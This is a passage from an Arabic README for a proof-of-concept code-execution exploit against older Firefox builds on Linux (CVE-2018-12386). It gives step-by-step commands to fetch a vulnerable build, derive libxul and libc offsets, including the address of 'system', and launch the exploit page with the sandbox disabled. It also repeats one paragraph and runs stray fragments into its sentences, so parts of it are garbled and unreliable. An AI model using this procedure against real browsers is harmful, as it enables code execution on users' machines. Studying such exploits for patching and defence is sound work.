
CVE-2018-12386 - استغلال RCE في بيئة Firefox المعزولة لنظام Linux (Firefox <v62.0.3)
هذا استغلال بسيط للثغرة CVE-2018-12386 التي اكتشفها Niklas Baumstark وSamuel Groß وBruno Keith.
هذا في الغالب إثبات مفهوم (PoC) قمت به للمتعة، ولا يوجد فيه تجاوز لصندوق الحماية، ولن يعمل إلا على إعداد Linux معيّن تكون فيه الإزاحات المستخدمة في الاستغلال معروفة مسبقاً (يمكن تغييرها في exploit/offsets.js).
يعمل هذا الاستغلال مع الإصدارات السابقة لـ Firefox 62.0.3 وFirefox ESR 60.2.2.
يمكنك تنزيل إصدارات Firefox السابقة مباشرةً من خادم FTP الخاص بـ Mozilla: https://ftp.mozilla.org/pub/firefox/releases/
يمكنك استخدام، على سبيل المثال، الإصدار 62.0.2 لنظام Linux 64-bit: https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2.
wget https://ftp.mozilla.org/pub/firefox/releases/62.0.2/linux-x86_64/en-US/firefox-62.0.2.tar.bz2
bzip2 -d firefox-62.0.2.tar.bz2
tar xvf firefox-62.0.2.tar
libxul.soإذا كنت تستخدم Firefox 62.0.2، فينبغي أن تكون الإزاحة المقدمة في exploit/offsets.js هي الصحيحة.
أما بالنسبة للإصدارات الأخرى، فيمكنك بسهولة استخدام بدائية addrof لتسريب عنوان دالة JavaScript Math.max، ثم العثور على العنوان الأساسي لـ libxul.so لمثيل Firefox الذي تستغله حالياً (على سبيل المثال باستخدام cat /proc/$(pidof firefox)/maps)، وطرح الاثنين للحصول على إزاحة libxul_math_max.
إذا كنت تستخدم Firefox 62.0.2، فينبغي أن تكون الإزاحة المقدمة في exploit/offsets.js هي الصحيحة.
أما بالنسبة للإصدارات الأخرى، فيمكنك بسهولة استخدام objdump.
[asriel@core firefox-62.0.2]$ objdump -d libxul.so | grep -i memmove@GLIBC
8006f0: ff 25 7a ac 40 05 jmpq *0x540ac7a(%rip) # 5c0b370 <memmove@GLIBC_2.2.5>
5c0b370 هي القيمة التي تحتاجها، أي إزاحة memmove في libxul.so.
libc.so.6تعتمد هذه الإزاحات كلياً على إصدار libc الذي تستخدمه.
# libc.so.6 location
[asriel@core firefox-62.0.2]$ ldd /bin/ls | grep libc.so.6 | cut -d' ' -f3
/usr/lib/libc.so.6
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep __memmove_avx_unaligned_erms
0000000000160c90 t __memmove_avx_unaligned_erms
[asriel@core firefox-62.0.2]$ nm /usr/lib/libc.so.6 | grep " system"
0000000000044dd0 W system
بمجرد حصولك على Firefox والإزاحات الصحيحة، يمكنك اختبار الاستغلال عن طريق تشغيل الأمر التالي:
MOZ_DISABLE_CONTENT_SANDBOX=1 /path/to/vulnerable/firefox /path/to/cve-2018-12386/exploit/pwn.html

إذا أردت إلقاء التحية: @Asri3l